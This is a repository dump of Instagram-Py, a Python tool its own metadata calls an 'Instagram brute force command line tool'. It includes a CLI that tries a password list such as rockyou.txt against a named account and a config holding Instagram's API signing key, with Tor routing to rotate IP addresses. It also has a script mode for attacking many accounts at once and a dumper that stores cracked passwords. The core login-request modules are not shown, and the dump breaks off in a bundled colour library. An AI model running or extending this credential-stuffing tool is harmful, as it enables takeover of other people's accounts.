├── .img └── poster.png ├── setup.cfg ├── InstagramPy ├── colors │ ├── __init__.py │ ├── initialise.py │ ├── ansi.py │ ├── win32.py │ ├── winterm.py │ └── ansitowin32.py ├── AppInfo.py ├── InstagramPyDumper.py ├── InstagramPyConfigurationCreator.py ├── __init__.py ├── InstagramPyScript.py ├── InstagramPyInstance.py ├── InstagramPyCLI.py └── InstagramPySession.py ├── MANIFEST.in ├── LICENSE ├── CHANGELOG.md ├── .gitignore ├── setup.py ├── instagram-py └── README.rst /.img/poster.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/dreroc/instagram-py/HEAD/.img/poster.png -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [bdist_wheel] 2 | universal = 1 3 | 4 | [egg_info] 5 | tag_build = 6 | tag_date = 0 7 | 8 | -------------------------------------------------------------------------------- /InstagramPy/colors/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | from .initialise import init, deinit, reinit, colorama_text 3 | from .ansi import Fore, Back, Style, Cursor 4 | from .ansitowin32 import AnsiToWin32 5 | 6 | __version__ = '0.3.9' 7 | 8 | -------------------------------------------------------------------------------- /InstagramPy/AppInfo.py: -------------------------------------------------------------------------------- 1 | # The MIT License 2 | # Copyright (C) 2017 The Future Shell , Antony Jr. 3 | # 4 | # @filename : AppInfo.py 5 | # @description : Application Information that are required 6 | 7 | appInfo = { 8 | "version": "2.0.2", 9 | "name": "Instagram-Py", 10 | "description": " Slick Instagram brute force command line tool", 11 | "author": "Antony Jr.", 12 | "company": "The Future Shell", 13 | "year": "2018", 14 | "example": "example: instagram-py -c -vvv -u instatestgod__ -pl rockyou.txt" 15 | } 16 | -------------------------------------------------------------------------------- /MANIFEST.in: -------------------------------------------------------------------------------- 1 | # The MIT License. 2 | # Copyright (C) 2017 The Future Shell , DeathSec. 3 | # 4 | # @filename : MANIFEST.IN 5 | # @description : Things that I want to avoid and include in the 6 | # python package. 7 | 8 | exclude .gitignore 9 | exclude ./Instagram-Py/__pycache__ 10 | exclude ./Instagram-Py/colors/__pycache__ 11 | exclude .coverage 12 | exclude preview.png 13 | exclude .travis.yml 14 | include README.rst 15 | include setup.cfg 16 | prune .cache 17 | prune .git 18 | prune build 19 | prune dist 20 | recursive-exclude *.egg-info * 21 | recursive-exclude examples * 22 | recursive-exclude observations * 23 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Antony jr 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /InstagramPy/InstagramPyDumper.py: -------------------------------------------------------------------------------- 1 | # The MIT License. 2 | # Copyright (C) 2017 The Future Shell , Antony Jr. 3 | # 4 | # @filename : InstagramPyDumper.py 5 | # @description : Dumps succession logs for the given username 6 | # 7 | import json 8 | import os 9 | 10 | 11 | class InstagramPyDumper: 12 | dump_data = "{}/.instagram-py/dump.json".format(os.path.expanduser('~')) 13 | required_info = None 14 | 15 | def __init__(self, username): 16 | if not os.path.isfile(self.dump_data): 17 | return None 18 | json_dump = json.load(open(self.dump_data, 'r')) 19 | self.required_info = None 20 | try: 21 | self.required_info = json_dump[username] 22 | except KeyError: 23 | pass 24 | 25 | def Dump(self): 26 | if self.required_info is None: 27 | print("No Log Found!") 28 | else: 29 | print( 30 | "Username : {}\nPassword : {}\nAttacked On : {}" 31 | .format(self.required_info['id'], 32 | self.required_info['password'], 33 | self.required_info['started'] 34 | ) 35 | ) 36 | return True 37 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | # ChangeLog for Instagram-Py 2 | 3 | Holds the History of releases and changes made for the software. 4 | 5 | ### version 2.0.2 6 | 7 | * Changed Copyright to the real author. 8 | * Purged everything about the fake deathsec. 9 | * Welcome 2018! ❤️ 10 | 11 | ### version 2.0.1 12 | 13 | * Fixes JSON Decoding error from instagram api response 14 | 15 | ### version 2.0.0 ( 2017.11.19 ) 16 | 17 | * **New Feature:** Instagram-Py Scripting 18 | * **New Feature:** Instagram-Py Configuration Creator 19 | * **New Feature:** Instagram-Py Dumps ( Holds Successfully Cracked Account Passwords) 20 | * **New Feature:** Complete Attack Customization 21 | * lightly redesigned the cli 22 | 23 | ### version 1.3.3 ( Stable ) 24 | 25 | * killed some bugs 26 | * error handling added 27 | * removed flush and print output 28 | * new easy to use API implemented 29 | * making random device id for new process only 30 | * verbose added for better debuging 31 | * refactored the code base 32 | 33 | ### version 0.3.2 34 | 35 | * fixed json decoding type error 36 | * support for python 3.4 , 3.5 37 | * added pip support 38 | 39 | ### version 0.3.1 40 | 41 | * duplicate of v0.2.1 for a mistake in pypi 42 | 43 | ### version 0.2.1 44 | 45 | * fixed never resume attack bug 46 | * fixed corrupted savefile bug 47 | 48 | ### version 0.1.1 49 | 50 | * fixed left out password on ip change 51 | * fixed corrupted buffer on password tries 52 | 53 | ## version 0.0.1 (2017.09.08) 54 | 55 | * basic features added 56 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | 2 | ### Python ### 3 | # Byte-compiled / optimized / DLL files 4 | __pycache__/ 5 | *.py[cod] 6 | *$py.class 7 | 8 | # C extensions 9 | *.so 10 | 11 | # Distribution / packaging 12 | .Python 13 | build/ 14 | develop-eggs/ 15 | dist/ 16 | downloads/ 17 | eggs/ 18 | .eggs/ 19 | lib/ 20 | lib64/ 21 | parts/ 22 | sdist/ 23 | var/ 24 | wheels/ 25 | *.egg-info/ 26 | .installed.cfg 27 | *.egg 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .coverage 43 | .coverage.* 44 | .cache 45 | nosetests.xml 46 | coverage.xml 47 | *.cover 48 | .hypothesis/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | 58 | # Flask stuff: 59 | instance/ 60 | .webassets-cache 61 | 62 | # Scrapy stuff: 63 | .scrapy 64 | 65 | # Sphinx documentation 66 | docs/_build/ 67 | 68 | # PyBuilder 69 | target/ 70 | 71 | # Jupyter Notebook 72 | .ipynb_checkpoints 73 | 74 | # pyenv 75 | .python-version 76 | 77 | # celery beat schedule file 78 | celerybeat-schedule.* 79 | 80 | # SageMath parsed files 81 | *.sage.py 82 | 83 | # Environments 84 | .env 85 | .venv 86 | env/ 87 | venv/ 88 | ENV/ 89 | env.bak/ 90 | venv.bak/ 91 | 92 | # Spyder project settings 93 | .spyderproject 94 | .spyproject 95 | 96 | # Rope project settings 97 | .ropeproject 98 | 99 | # mkdocs documentation 100 | /site 101 | 102 | # mypy 103 | .mypy_cache/ 104 | 105 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | # The MIT License. 2 | # Copyright (C) 2017 The Future Shell , Antony Jr. 3 | # 4 | # @filename : setup.py 5 | # @description : The traditional setup.py script for 6 | # Installation from pip or easy_install 7 | 8 | from codecs import open 9 | from os.path import abspath, dirname, join , expanduser 10 | 11 | from setuptools import Command, find_packages, setup 12 | 13 | from InstagramPy import __version__ 14 | 15 | 16 | this_dir = abspath(dirname(__file__)) 17 | with open(join(this_dir, 'README.rst'), encoding='utf-8') as file: 18 | long_description = file.read() 19 | 20 | setup( 21 | name = 'instagram-py', 22 | version = __version__, 23 | description = 'Slick Instagram brute force command line tool writen in python.', 24 | long_description = long_description, 25 | url = 'https://github.com/antony-jr/Instagram-Py', 26 | download_url = 'https://github.com/antony-jr/instagram-py/archive/v'+str(__version__)+'.tar.gz', 27 | author = 'Antony-Jr', 28 | author_email = 'antonyjr@protonmail.com', 29 | license = 'MIT', 30 | classifiers = [ 31 | 'Topic :: Utilities', 32 | 'Natural Language :: English', 33 | 'Operating System :: OS Independent', 34 | 'Programming Language :: Python :: 3.4', 35 | 'Programming Language :: Python :: 3.6' 36 | ], 37 | keywords = ['cli' , 'hack' , 'instagram' , 'with' , 'out' , 'password' , 'limit' , 'brute' , 38 | 'force' , 'attack' , 'instagram'], 39 | packages = find_packages(exclude=['docs', 'tests*']), 40 | install_requires = ['requests' , 'requests[socks]' , 'stem'], 41 | entry_points = { 42 | 'console_scripts': [ 43 | 'instagram-py=InstagramPy:ExecuteInstagramPy', 44 | ], 45 | }, 46 | 47 | ) 48 | -------------------------------------------------------------------------------- /instagram-py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | #*********************************************************************************# 3 | # MIT License # 4 | # # 5 | # Copyright (c) 2018 The Future Shell , Antony Jr. # 6 | # # 7 | # Permission is hereby granted, free of charge, to any person obtaining a copy # 8 | # of this software and associated documentation files (the "Software"), to deal # 9 | # in the Software without restriction, including without limitation the rights # 10 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell # 11 | # copies of the Software, and to permit persons to whom the Software is # 12 | # furnished to do so, subject to the following conditions: # 13 | # # 14 | # The above copyright notice and this permission notice shall be included in all # 15 | # copies or substantial portions of the Software. # 16 | # # 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # 20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # 22 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # 23 | # SOFTWARE. # 24 | #*********************************************************************************# 25 | 26 | import InstagramPy 27 | 28 | if __name__ == '__main__': 29 | InstagramPy.ExecuteInstagramPy() 30 | -------------------------------------------------------------------------------- /InstagramPy/colors/initialise.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | import atexit 3 | import contextlib 4 | import sys 5 | 6 | from .ansitowin32 import AnsiToWin32 7 | 8 | 9 | orig_stdout = None 10 | orig_stderr = None 11 | 12 | wrapped_stdout = None 13 | wrapped_stderr = None 14 | 15 | atexit_done = False 16 | 17 | 18 | def reset_all(): 19 | if AnsiToWin32 is not None: # Issue #74: objects might become None at exit 20 | AnsiToWin32(orig_stdout).reset_all() 21 | 22 | 23 | def init(autoreset=False, convert=None, strip=None, wrap=True): 24 | 25 | if not wrap and any([autoreset, convert, strip]): 26 | raise ValueError('wrap=False conflicts with any other arg=True') 27 | 28 | global wrapped_stdout, wrapped_stderr 29 | global orig_stdout, orig_stderr 30 | 31 | orig_stdout = sys.stdout 32 | orig_stderr = sys.stderr 33 | 34 | if sys.stdout is None: 35 | wrapped_stdout = None 36 | else: 37 | sys.stdout = wrapped_stdout = \ 38 | wrap_stream(orig_stdout, convert, strip, autoreset, wrap) 39 | if sys.stderr is None: 40 | wrapped_stderr = None 41 | else: 42 | sys.stderr = wrapped_stderr = \ 43 | wrap_stream(orig_stderr, convert, strip, autoreset, wrap) 44 | 45 | global atexit_done 46 | if not atexit_done: 47 | atexit.register(reset_all) 48 | atexit_done = True 49 | 50 | 51 | def deinit(): 52 | if orig_stdout is not None: 53 | sys.stdout = orig_stdout 54 | if orig_stderr is not None: 55 | sys.stderr = orig_stderr 56 | 57 | 58 | @contextlib.contextmanager 59 | def colorama_text(*args, **kwargs): 60 | init(*args, **kwargs) 61 | try: 62 | yield 63 | finally: 64 | deinit() 65 | 66 | 67 | def reinit(): 68 | if wrapped_stdout is not None: 69 | sys.stdout = wrapped_stdout 70 | if wrapped_stderr is not None: 71 | sys.stderr = wrapped_stderr 72 | 73 | 74 | def wrap_stream(stream, convert, strip, autoreset, wrap): 75 | if wrap: 76 | wrapper = AnsiToWin32(stream, 77 | convert=convert, strip=strip, autoreset=autoreset) 78 | if wrapper.should_wrap(): 79 | stream = wrapper.stream 80 | return stream 81 | 82 | 83 | -------------------------------------------------------------------------------- /InstagramPy/colors/ansi.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | ''' 3 | This module generates ANSI character codes to printing colors to terminals. 4 | See: http://en.wikipedia.org/wiki/ANSI_escape_code 5 | ''' 6 | 7 | CSI = '\033[' 8 | OSC = '\033]' 9 | BEL = '\007' 10 | 11 | 12 | def code_to_chars(code): 13 | return CSI + str(code) + 'm' 14 | 15 | def set_title(title): 16 | return OSC + '2;' + title + BEL 17 | 18 | def clear_screen(mode=2): 19 | return CSI + str(mode) + 'J' 20 | 21 | def clear_line(mode=2): 22 | return CSI + str(mode) + 'K' 23 | 24 | 25 | class AnsiCodes(object): 26 | def __init__(self): 27 | # the subclasses declare class attributes which are numbers. 28 | # Upon instantiation we define instance attributes, which are the same 29 | # as the class attributes but wrapped with the ANSI escape sequence 30 | for name in dir(self): 31 | if not name.startswith('_'): 32 | value = getattr(self, name) 33 | setattr(self, name, code_to_chars(value)) 34 | 35 | 36 | class AnsiCursor(object): 37 | def UP(self, n=1): 38 | return CSI + str(n) + 'A' 39 | def DOWN(self, n=1): 40 | return CSI + str(n) + 'B' 41 | def FORWARD(self, n=1): 42 | return CSI + str(n) + 'C' 43 | def BACK(self, n=1): 44 | return CSI + str(n) + 'D' 45 | def POS(self, x=1, y=1): 46 | return CSI + str(y) + ';' + str(x) + 'H' 47 | 48 | 49 | class AnsiFore(AnsiCodes): 50 | BLACK = 30 51 | RED = 31 52 | GREEN = 32 53 | YELLOW = 33 54 | BLUE = 34 55 | MAGENTA = 35 56 | CYAN = 36 57 | WHITE = 37 58 | RESET = 39 59 | 60 | # These are fairly well supported, but not part of the standard. 61 | LIGHTBLACK_EX = 90 62 | LIGHTRED_EX = 91 63 | LIGHTGREEN_EX = 92 64 | LIGHTYELLOW_EX = 93 65 | LIGHTBLUE_EX = 94 66 | LIGHTMAGENTA_EX = 95 67 | LIGHTCYAN_EX = 96 68 | LIGHTWHITE_EX = 97 69 | 70 | 71 | class AnsiBack(AnsiCodes): 72 | BLACK = 40 73 | RED = 41 74 | GREEN = 42 75 | YELLOW = 43 76 | BLUE = 44 77 | MAGENTA = 45 78 | CYAN = 46 79 | WHITE = 47 80 | RESET = 49 81 | 82 | # These are fairly well supported, but not part of the standard. 83 | LIGHTBLACK_EX = 100 84 | LIGHTRED_EX = 101 85 | LIGHTGREEN_EX = 102 86 | LIGHTYELLOW_EX = 103 87 | LIGHTBLUE_EX = 104 88 | LIGHTMAGENTA_EX = 105 89 | LIGHTCYAN_EX = 106 90 | LIGHTWHITE_EX = 107 91 | 92 | 93 | class AnsiStyle(AnsiCodes): 94 | BRIGHT = 1 95 | DIM = 2 96 | NORMAL = 22 97 | RESET_ALL = 0 98 | 99 | Fore = AnsiFore() 100 | Back = AnsiBack() 101 | Style = AnsiStyle() 102 | Cursor = AnsiCursor() 103 | -------------------------------------------------------------------------------- /InstagramPy/InstagramPyConfigurationCreator.py: -------------------------------------------------------------------------------- 1 | # The MIT License. 2 | # Copyright (C) 2017 The Future Shell , Antony Jr. 3 | # 4 | # @filename : InstagramPyConfigurationCreator.py 5 | # @description : Create a Configuration file for Instagram-Py with ease. 6 | import os 7 | import json 8 | from .colors import * 9 | 10 | 11 | class InstagramPyConfigurationCreator: 12 | config_path = None 13 | default_config = { 14 | "api-url": "https://i.instagram.com/api/v1/", 15 | "user-agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)", 16 | "ig-sig-key": "4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178", 17 | "ig-sig-version": "4", 18 | "tor": { 19 | "server": "127.0.0.1", 20 | "port": "9050", 21 | "protocol": "socks5", 22 | "control": { 23 | "password": "", 24 | "port": "9051" 25 | } 26 | } 27 | } 28 | 29 | def __init__(self, path): 30 | self.config_path = path 31 | 32 | ''' 33 | create(): 34 | - Simply Creates a Configuration with the default settings. 35 | ''' 36 | 37 | def create(self): 38 | with open(self.config_path, 'w') as f: 39 | json.dump(self.default_config, f) 40 | print("{}Written Configuration at {}{}".format( 41 | Style.BRIGHT, self.config_path, Style.RESET_ALL)) 42 | return True 43 | 44 | def easy_create(self): 45 | tor_server_ip = None 46 | tor_port = None 47 | tor_control_port = None 48 | tor_control_password = None 49 | print("{}Welcome to Instagram-Py Configuration Creator!{}".format(Style.BRIGHT, Style.RESET_ALL)) 50 | tor_server_ip = input("{}Tor Server IP(default=[Press Enter]):: {}" 51 | .format(Style.BRIGHT + Fore.MAGENTA, Style.RESET_ALL)) 52 | tor_port = input("{}Tor Server Port(default=[Press Enter]):: {}" 53 | .format(Style.BRIGHT + Fore.MAGENTA, Style.RESET_ALL)) 54 | tor_control_port = input("{}Tor Control Port(default=[Press Enter]):: {}" 55 | .format(Style.BRIGHT + Fore.MAGENTA, Style.RESET_ALL)) 56 | tor_control_password = input("{}Tor Authentication Password(default=[Press Enter]):: {}" 57 | .format(Style.BRIGHT + Fore.MAGENTA, Style.RESET_ALL)) 58 | 59 | print("{}Writing Configuration...{}".format( 60 | Style.BRIGHT, Style.RESET_ALL)) 61 | 62 | if tor_server_ip is not '': 63 | self.default_config['tor']['server'] = tor_server_ip 64 | if tor_port is not '': 65 | self.default_config['tor']['port'] = tor_port 66 | if tor_control_port is not '': 67 | self.default_config['tor']['control']['port'] = tor_control_port 68 | if tor_control_password is not '': 69 | self.default_config['tor']['control']['password'] = tor_control_password 70 | 71 | with open(self.config_path, 'w') as f: 72 | json.dump(self.default_config, f) 73 | 74 | print("{}Written Configuration at {}{}".format( 75 | Style.BRIGHT, self.config_path, Style.RESET_ALL)) 76 | return True 77 | -------------------------------------------------------------------------------- /InstagramPy/__init__.py: -------------------------------------------------------------------------------- 1 | # The MIT License. 2 | # Copyright (C) 2017 The Future Shell , Antony Jr. 3 | # 4 | # @filename : __init__.py 5 | # @description : The traditional python package __init__ file 6 | 7 | import argparse 8 | import os 9 | import sys 10 | from .InstagramPyCLI import InstagramPyCLI 11 | from .InstagramPySession import InstagramPySession, DEFAULT_PATH 12 | from .InstagramPyInstance import InstagramPyInstance 13 | from .InstagramPyDumper import InstagramPyDumper 14 | from .InstagramPyScript import InstagramPyScript 15 | from .InstagramPyConfigurationCreator import InstagramPyConfigurationCreator 16 | from datetime import datetime 17 | from .AppInfo import appInfo as AppInformation 18 | from .colors import * 19 | 20 | __version__ = AppInformation['version'] 21 | 22 | 23 | ''' 24 | Arguments for instagram-py command-line tool 25 | ''' 26 | cli_parser = argparse.ArgumentParser( 27 | epilog=AppInformation['example'] 28 | ) 29 | 30 | # nargs = '+' , makes them positional argument. 31 | cli_parser.add_argument('--username', # parse username from command line 32 | '-u', 33 | type=str, 34 | help='username for Instagram account' 35 | ) 36 | 37 | cli_parser.add_argument('--password-list', # parse path to password list file 38 | '-pl', 39 | type=str, 40 | help='password list file to try with the given username.' 41 | ) 42 | 43 | cli_parser.add_argument('--script', 44 | '-s', 45 | type=str, 46 | help='Instagram-Py Attack Script.' 47 | ) 48 | 49 | cli_parser.add_argument('--inspect-username', 50 | '-i', 51 | type=str, 52 | help='Username to inspect in the instagram-py dump.' 53 | ) 54 | 55 | cli_parser.add_argument('--create-configuration', 56 | '-cc', 57 | action='count', 58 | help='Create a Configuration file for Instagram-Py with ease.' 59 | ) 60 | 61 | cli_parser.add_argument('--default-configuration', 62 | '-dc', 63 | action='count', 64 | help='noconfirm for Instagram-Py Configuration Creator!' 65 | ) 66 | 67 | cli_parser.add_argument('--countinue', 68 | '-c', 69 | action='count', 70 | help='Countinue the previous attack if found.' 71 | ) 72 | cli_parser.add_argument('--verbose', # check if the user wants verbose mode enabled 73 | '-v', 74 | action='count', 75 | help='Activate Verbose mode. ( Verbose level )' 76 | ) 77 | 78 | 79 | def ExecuteInstagramPy(): 80 | Parsed = cli_parser.parse_args() 81 | 82 | if Parsed.create_configuration is not None: 83 | if Parsed.default_configuration is not None: 84 | InstagramPyConfigurationCreator(os.path.expanduser( 85 | '~') + "/instapy-config.json").create() 86 | else: 87 | InstagramPyConfigurationCreator(os.path.expanduser( 88 | '~') + "/instapy-config.json").easy_create() 89 | elif Parsed.inspect_username is not None: 90 | InstagramPyDumper(Parsed.inspect_username).Dump() 91 | elif Parsed.script is not None: 92 | if not os.path.isfile(Parsed.script): 93 | print("No Attack Script found at {}".format(Parsed.script)) 94 | sys.exit(-1) 95 | InstagramPyScript(Parsed.script).run() 96 | elif Parsed.username is not None and Parsed.password_list is not None: 97 | cli = InstagramPyCLI(appinfo=AppInformation, 98 | started=datetime.now(), verbose_level=Parsed.verbose, username=Parsed.username) 99 | 100 | cli.PrintHeader() 101 | cli.PrintDatetime() 102 | session = InstagramPySession( 103 | Parsed.username, Parsed.password_list, DEFAULT_PATH, DEFAULT_PATH, cli) 104 | session.ReadSaveFile(Parsed.countinue) 105 | instagrampy = InstagramPyInstance(cli, session) 106 | while not instagrampy.PasswordFound(): 107 | instagrampy.TryPassword() 108 | session.WriteDumpFile( 109 | { 110 | "id": Parsed.username, 111 | "password": session.CurrentPassword(), 112 | "started": str(cli.started) 113 | } 114 | ) 115 | else: 116 | cli_parser.print_help() 117 | print('\n{}Report bug, suggestions and new features at {}{}https://github.com/antony-jr/instagram-py{}' 118 | .format(Fore.GREEN, 119 | Style.RESET_ALL, 120 | Style.BRIGHT, 121 | Style.RESET_ALL 122 | )) 123 | sys.exit(0) 124 | -------------------------------------------------------------------------------- /InstagramPy/InstagramPyScript.py: -------------------------------------------------------------------------------- 1 | # The MIT License. 2 | # Copyright (C) 2017 The Future Shell , Antony Jr. 3 | # 4 | # @filename : InstagramPyScript.py 5 | # @description : Handles Instagram-Py Attack Scripts. 6 | import os 7 | from .InstagramPyCLI import InstagramPyCLI 8 | from .InstagramPySession import InstagramPySession, DEFAULT_PATH 9 | from .InstagramPyInstance import InstagramPyInstance 10 | from .InstagramPyDumper import InstagramPyDumper 11 | from datetime import datetime 12 | from .AppInfo import appInfo as AppInformation 13 | 14 | 15 | class InstagramPyScript: 16 | script_code = None 17 | cli = InstagramPyCLI( 18 | appinfo=AppInformation, 19 | started=datetime.now(), 20 | verbose_level=0, 21 | username='' 22 | ) 23 | threads = {} # not actually threads but a simple dict 24 | no_of_threads = len(threads) 25 | 26 | def __init__(self, script): 27 | self.cli.PrintHeader() 28 | self.cli.PrintDatetime() 29 | 30 | if not os.path.isfile(script): 31 | self.cli.ReportError("no script found at {}".script) 32 | 33 | with open(script, 'r') as f: 34 | self.script_code = compile(f.read(), script, 'exec') 35 | 36 | def run(self): 37 | try: 38 | exec(self.script_code, globals()) 39 | count = 0 40 | for i in usernames: 41 | try: 42 | cli = InstagramPyCLI( 43 | appinfo=AppInformation, 44 | started=datetime.now(), 45 | verbose_level=i['verbose'], 46 | username=i['id'] 47 | ) 48 | except: 49 | cli = InstagramPyCLI( 50 | appinfo=AppInformation, 51 | started=datetime.now(), 52 | verbose_level=0, 53 | username=i['id'] 54 | ) 55 | try: 56 | session = InstagramPySession( 57 | i['id'], 58 | i['password_list'], 59 | DEFAULT_PATH, 60 | DEFAULT_PATH, 61 | cli 62 | ) 63 | except: 64 | try: 65 | session = InstagramPySession( 66 | i['id'], 67 | global_password_list, 68 | DEFAULT_PATH, 69 | DEFAULT_PATH, 70 | cli 71 | ) 72 | except: 73 | self.cli.ReportError( 74 | "invalid script :: No Password list is Mentioned in the Script!") 75 | try: 76 | session.ReadSaveFile(i['countinue']) 77 | except: 78 | session.ReadSaveFile(False) 79 | 80 | instance = InstagramPyInstance(cli, session) 81 | 82 | self.threads[count] = { 83 | "terminated": False, 84 | "instance": instance 85 | } 86 | try: 87 | self.threads[count]['callback'] = i['callback'] 88 | except: 89 | try: 90 | self.threads[count]['callback'] = global_callback 91 | except: 92 | self.threads[count]['callback'] = None 93 | count += 1 94 | except Exception as e: 95 | self.cli.ReportError("invalid script :: {}".format(e)) 96 | 97 | # Finished Parsing the Custom Attack Script , Start The Attack. 98 | self.no_of_threads = len(self.threads) 99 | while self.no_of_threads is not 0: 100 | for i in self.threads: 101 | if self.threads[i]['terminated'] is True: 102 | continue # next iteration 103 | elif self.threads[i]['instance'].PasswordFound(): 104 | if self.threads[i]['callback'] is not None: 105 | self.threads[i]['callback']( 106 | self.threads[i]['instance'].session.username, 107 | self.threads[i]['instance'].session.CurrentPassword() 108 | ) 109 | self.threads[i]['instance'].session.WriteDumpFile( 110 | { 111 | "id": self.threads[i]['instance'].session.username, 112 | "password": self.threads[i]['instance'].session.CurrentPassword(), 113 | "started": str(self.threads[i]['instance'].cli.started) 114 | } 115 | ) 116 | 117 | self.threads[i]['terminated'] = True 118 | self.no_of_threads -= 1 119 | else: 120 | self.threads[i]['instance'].TryPassword() 121 | -------------------------------------------------------------------------------- /InstagramPy/colors/win32.py: -------------------------------------------------------------------------------- 1 | # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file. 2 | 3 | # from winbase.h 4 | STDOUT = -11 5 | STDERR = -12 6 | 7 | try: 8 | import ctypes 9 | from ctypes import LibraryLoader 10 | windll = LibraryLoader(ctypes.WinDLL) 11 | from ctypes import wintypes 12 | except (AttributeError, ImportError): 13 | windll = None 14 | SetConsoleTextAttribute = lambda *_: None 15 | winapi_test = lambda *_: None 16 | else: 17 | from ctypes import byref, Structure, c_char, POINTER 18 | 19 | COORD = wintypes._COORD 20 | 21 | class CONSOLE_SCREEN_BUFFER_INFO(Structure): 22 | """struct in wincon.h.""" 23 | _fields_ = [ 24 | ("dwSize", COORD), 25 | ("dwCursorPosition", COORD), 26 | ("wAttributes", wintypes.WORD), 27 | ("srWindow", wintypes.SMALL_RECT), 28 | ("dwMaximumWindowSize", COORD), 29 | ] 30 | def __str__(self): 31 | return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % ( 32 | self.dwSize.Y, self.dwSize.X 33 | , self.dwCursorPosition.Y, self.dwCursorPosition.X 34 | , self.wAttributes 35 | , self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right 36 | , self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X 37 | ) 38 | 39 | _GetStdHandle = windll.kernel32.GetStdHandle 40 | _GetStdHandle.argtypes = [ 41 | wintypes.DWORD, 42 | ] 43 | _GetStdHandle.restype = wintypes.HANDLE 44 | 45 | _GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo 46 | _GetConsoleScreenBufferInfo.argtypes = [ 47 | wintypes.HANDLE, 48 | POINTER(CONSOLE_SCREEN_BUFFER_INFO), 49 | ] 50 | _GetConsoleScreenBufferInfo.restype = wintypes.BOOL 51 | 52 | _SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute 53 | _SetConsoleTextAttribute.argtypes = [ 54 | wintypes.HANDLE, 55 | wintypes.WORD, 56 | ] 57 | _SetConsoleTextAttribute.restype = wintypes.BOOL 58 | 59 | _SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition 60 | _SetConsoleCursorPosition.argtypes = [ 61 | wintypes.HANDLE, 62 | COORD, 63 | ] 64 | _SetConsoleCursorPosition.restype = wintypes.BOOL 65 | 66 | _FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA 67 | _FillConsoleOutputCharacterA.argtypes = [ 68 | wintypes.HANDLE, 69 | c_char, 70 | wintypes.DWORD, 71 | COORD, 72 | POINTER(wintypes.DWORD), 73 | ] 74 | _FillConsoleOutputCharacterA.restype = wintypes.BOOL 75 | 76 | _FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute 77 | _FillConsoleOutputAttribute.argtypes = [ 78 | wintypes.HANDLE, 79 | wintypes.WORD, 80 | wintypes.DWORD, 81 | COORD, 82 | POINTER(wintypes.DWORD), 83 | ] 84 | _FillConsoleOutputAttribute.restype = wintypes.BOOL 85 | 86 | _SetConsoleTitleW = windll.kernel32.SetConsoleTitleW 87 | _SetConsoleTitleW.argtypes = [ 88 | wintypes.LPCWSTR 89 | ] 90 | _SetConsoleTitleW.restype = wintypes.BOOL 91 | 92 | handles = { 93 | STDOUT: _GetStdHandle(STDOUT), 94 | STDERR: _GetStdHandle(STDERR), 95 | } 96 | 97 | def _winapi_test(handle): 98 | csbi = CONSOLE_SCREEN_BUFFER_INFO() 